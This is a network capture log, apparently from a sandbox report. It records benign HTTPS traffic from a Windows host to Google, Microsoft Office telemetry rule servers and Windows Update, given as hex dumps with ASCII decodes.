2024-12-02 00:34:18 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-02 00:34:18 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-02 00:34:18 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-02 00:34:18 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-02 00:34:18 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 37 35 2c 33 37 30 30 39 34 39 2c 33 37 30 31 30 37 31 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700275,3700949,3701071,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var
2024-12-02 00:34:18 UTC	1080	IN	Data Raw: 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 Data Ascii: \u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a
2024-12-02 00:34:18 UTC	456	IN	Data Raw: 31 63 31 0d 0a 6c 69 63 79 28 5c 22 6f 67 62 2d 71 74 6d 23 68 74 6d 6c 5c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 62 7d 29 7d 63 61 74 63 68 28 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 55 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 54 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 54 64 5c 75 30 30 33 64 53 64 28 29 29 3b 72 65 74 75 72 6e 20 54 64 7d 3b 5c 6e 5f 2e 57 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 55 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 Data Ascii: 1c1licy(\"ogb-qtm#html\",{createHTML:b,createScript:b,createScriptURL:b})}catch(b){}return a};_.Ud\u003dfunction(){Td\u003d\u003d\u003dvoid 0\u0026\u0026(Td\u003dSd());return Td};\n_.Wd\u003dfunction(a){const b\u003d_.Ud();return new _.Vd(b?b.createScri
2024-12-02 00:34:18 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c Data Ascii: 8000\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnul
2024-12-02 00:34:18 UTC	1390	IN	Data Raw: 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 6c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6c 65 5b 64 5d 2c 63 29 3a 5f 2e 67 65 28 64 2c 5c 22 61 72 69 61 2d 5c Data Ascii: ull));return a\|\|null};\n_.me\u003dfunction(a,b){_.Ab(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:le.hasOwnProperty(d)?a.setAttribute(le[d],c):_.ge(d,\"aria-\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49718	172.217.21.36	443	7204	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:17 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-02 00:34:18 UTC	933	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 02 Dec 2024 00:34:18 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-02 00:34:18 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-02 00:34:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:17 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:18 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 724e5c80-801e-007b-4caf-42e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003418Z-174f7845968psccphC1EWRuz9s00000013z0000000007qnh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:18 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:17 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:18 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 8ccd6c39-f01e-0085-6e81-3f88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003418Z-174f78459688l8rvhC1EWRtzr00000000gag000000005vvq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:18 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:17 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:18 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f5d49257-301e-005d-758c-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003418Z-174f7845968kvnqxhC1EWRmf3g0000000qd000000000hac8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:18 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:18 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:18 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003418Z-174f7845968zgtf6hC1EWRqd8s0000000wm000000000ef4x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:18 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49713	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:18 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=bVm8Pk8VwS2lMKp&MD=KVNxhTTS HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-02 00:34:18 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: ac73af1a-11c6-468f-875f-6cebdf005354 MS-RequestId: ce52a321-4bcc-4db0-8a45-24f64ee7ae32 MS-CV: Pu/e/bH5IE24GZrR.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 02 Dec 2024 00:34:18 GMT Connection: close Content-Length: 24490
2024-12-02 00:34:18 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-12-02 00:34:18 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 